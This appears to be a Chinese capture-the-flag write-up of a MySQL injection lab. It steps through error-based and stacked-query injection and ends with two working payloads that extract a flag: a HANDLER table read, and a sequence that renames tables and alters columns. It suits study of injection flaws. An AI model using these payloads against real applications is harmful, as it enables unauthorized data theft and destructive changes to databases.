打开靶场,发现是一个查询框
输入1' ,报错,说明存在sql注入漏洞
二分法order by 查字段
1' order by 2;# 正常;
1' order by 3;# 报错;
得出字段数为2
联合查询-1' union select 1,2;#,发现有过滤
联合查询估计是不行了
既然有报错,那我们就试一下报错注入1' and extractvalue(1, concat(0x7e,database(),0x7e))#
成功爆出当前数据库supersqli,但是后面的注入不可避免的要用到select,所以只能pass了
接下来试一下堆叠注入1';show databases;#
成功列出数据库,貌似可行,我们继续1';show tables;#
爆出当前数据库的两张表,分别看一下里面有什么
1';show columns from `1919810931114514`;#(注意:列表名为数字时要用反引号括起来(看别人的wp))
1';show columns from words;#
很明显,flag在数字表里,但是怎么搞出来呢?不会,只能又跑去看一下别人的wp,大佬们各种各样的方法令我直呼牛*,下面介绍一下两种目前笔者看得懂的方法
1.利用handler语句
原理解释:
HANDLER语句使我们能够一行一行的浏览一个表中的数据,handler 语句并不具备 select 语句的所有功能,它是 MySQL 专用的语句,并没有包含到SQL标准中。
语法:
打开句柄:handler handler_table open;
查看数据:handler handler_table read first/next/prev/last;
关闭句柄:handler handler_table close;
payload:1';handler `1919810931114514` open;handler `1919810931114514` read first;#
成功
2.利用重命名的方法,使查询框查询数字表里的flag信息
因为当前数据库下只有两张表,所以我们不难判断出查询语句大概是这样select id,data from words where id=,所以我们的思路就是将words表换成其他表,再将数字表换成words表,新 words 表添加新的列名 id 默认值为1,将 flag 改名为 data
payload:1';rename table words to word1;rename table `1919810931114514` to words;alter table words add id int(10) default 1;alter table words change flag data varchar(100);#
然后-1';show tables;show columns from words;#看一下有没有成功
没问题,直接输入1,拿到flag
(蒸滴骚)